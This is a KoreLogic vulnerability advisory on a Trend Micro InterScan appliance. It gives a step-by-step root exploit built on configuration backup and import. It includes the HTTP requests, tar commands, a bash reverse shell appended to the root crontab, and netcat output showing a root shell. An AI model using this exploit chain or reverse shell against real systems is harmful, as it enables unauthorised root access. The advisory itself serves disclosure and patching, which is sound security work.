Trendmicro InterScan Remote Root Access Vulnerability

Vulnerability Description

Any authenticated user can overwrite specific files on the local system, which can be exploited to result in root access.

Technical Description

An attacker can use a HTTP POST request to instruct the management application to backup the current appliance configuration into a tarball. A valid session is required.

POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1
Host: 1.3.3.7:8443
[snip]

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment; filename="IWSVA6.5-SP2_Config.tar"
[snip]

Extracting the tar file gives you several files, detailed below:

$ tar xf IWSVA6.5-SP2_Config.tar
x Configurations/
x Configurations/icaps.pkey
x Configurations/ClientConnectionQuotaWhiteList.ini
x Configurations/IWSSPINcieScan.dsc
[snip]
$ cd Configurations/
$ ls -la shadow passwd crontab.iscan crontab.root S55sshd S99lanbypass prd.passwd iscan root
-rwxr-xr-x@ 1 level  staff   4683 25 oct 05:32 S55sshd
-rwxr-xr-x@ 1 level  staff  13553 25 oct 05:32 S99lanbypass
-rw-r-----@ 1 level  staff   1738 25 oct 05:32 crontab.iscan
-rw-r-----@ 1 level  staff    416 25 oct 05:32 crontab.root
-rw-r--r--@ 1 level  staff    693 25 oct 05:32 passwd
-rw-r-----@ 1 level  staff     44 25 oct 05:32 prd.passwd
----------  1 level  staff    427 25 oct 05:32 shadow
-rw-------@ 1 level  staff   1796 25 oct 05:50 iscan
-rw-------@ 1 level  staff    467 25 oct 05:32 root

The file content presents several attack scenarios:

Obtain hashes for all accounts Poison shadow file with known hash Poison cron with a bash shell Poison scripts executed at boot Directory traversal with web shell

The file, root, contains cron entries which are ran by the root user at boot. A bash reverse shell was appended to this file and a new tar file containing the poisoned file was created.

$ head -n 1 root
0-59/2 * * * * /usr/iwss/bin/systemupdate > /dev/null 2>&1
$ echo */2 * * * * /bin/bash -i >& /dev/tcp/1.3.3.8/8086 0>&1 >> root
$ cd ..; tar cf hacked.tar Configurations/ ProductInfo.xml

POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=import&packageName=/usr/iwss/AdminUI/tomcat/import/hacked.tar&type=1 HTTP/1.1
Host: 1.3.3.7:8443
[snip]

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
[snip]

This resulted in a netcat shell as the root user.

$ nc -lv 8086
[root@iwsva65sp2 ~]# id;uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux iwsva65sp2 2.6.32-504.OpenVA.3.5.1321.el6.x86_64 #1 SMP Tue Dec 23 15:08:35 CST 2014 x86_64 x86_64 x86_64 GNU/Linux
[root@iwsva65sp2 ~]#

Mitigation and Remediation Recommendation

The vendor has issued a patch for this vulnerability in Version 6.5 CP 1737. Security advisory and link to the patched version available at:

https://success.trendmicro.com/solution/1116672

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt